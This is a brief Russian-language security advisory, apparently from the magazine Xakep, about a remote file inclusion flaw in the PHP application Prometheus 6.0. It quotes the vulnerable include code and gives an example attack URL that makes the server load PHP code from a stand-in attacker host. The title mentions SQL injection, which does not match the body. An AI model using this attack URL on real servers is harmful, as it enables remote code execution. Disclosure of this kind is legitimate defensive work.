Xakep #305. Многошаговые SQL-инъекции
Prometheus - Web-приложение, написанное на PHP. Обнаруженная уязвимость позволяет внедрять произвольный PHP код в Web приложение, который будет выполнен с привилегиями Web сервера. Проблема находится в следующем участке кода в prometheus-library/all.lib:
if ( ! isset( $PROMETHEUS_LIBRARY_BASE ) ||
$PROMETHEUS_LIBRARY_BASE == '') {
$PROMETHEUS_LIBRARY_BASE = './prometheus-library';
}
if ( ! isset( $PHP_AUTO_LOAD_LIB ) ) {
$PHP_AUTO_LOAD_LIB = 0;
}
if ( ! isset( $PROMETHEUS_LIB_PATH ) ) {
$PROMETHEUS_LIB_PATH = 0;
}
if ( $PHP_AUTO_LOAD_LIB == 0 ) {
include( $PROMETHEUS_LIBRARY_BASE . '/autoload.lib' );
}
if ( $PROMETHEUS_LIB_PATH == 0 ) {
include( $PROMETHEUS_LIBRARY_BASE . '/prometheus-lib.path' );
}
Нападающий может вынудить приложение
загрузить зараженную версию autoload.lib и prometheus-lib.path, которая содержит произвольный PHP код, установив PHP_AUTO_LOAD_LIB в 0 и PROMETHEUS_LIBRARY_BASE
направив к удаленному серверу. Уязвимы следующие сценарии, в которых all.lib включен без какого либо фильтрования:
index.php
install.php
test_*.php
Пример нападения:
http://target.server/prometheus-all/index.php? PROMETHEUS_LIBRARY_BASE=
http://attackers.server/&PHP_AUTO_LOAD_LIB=0
Уязвимость обнаружена в Prometheus 6.0.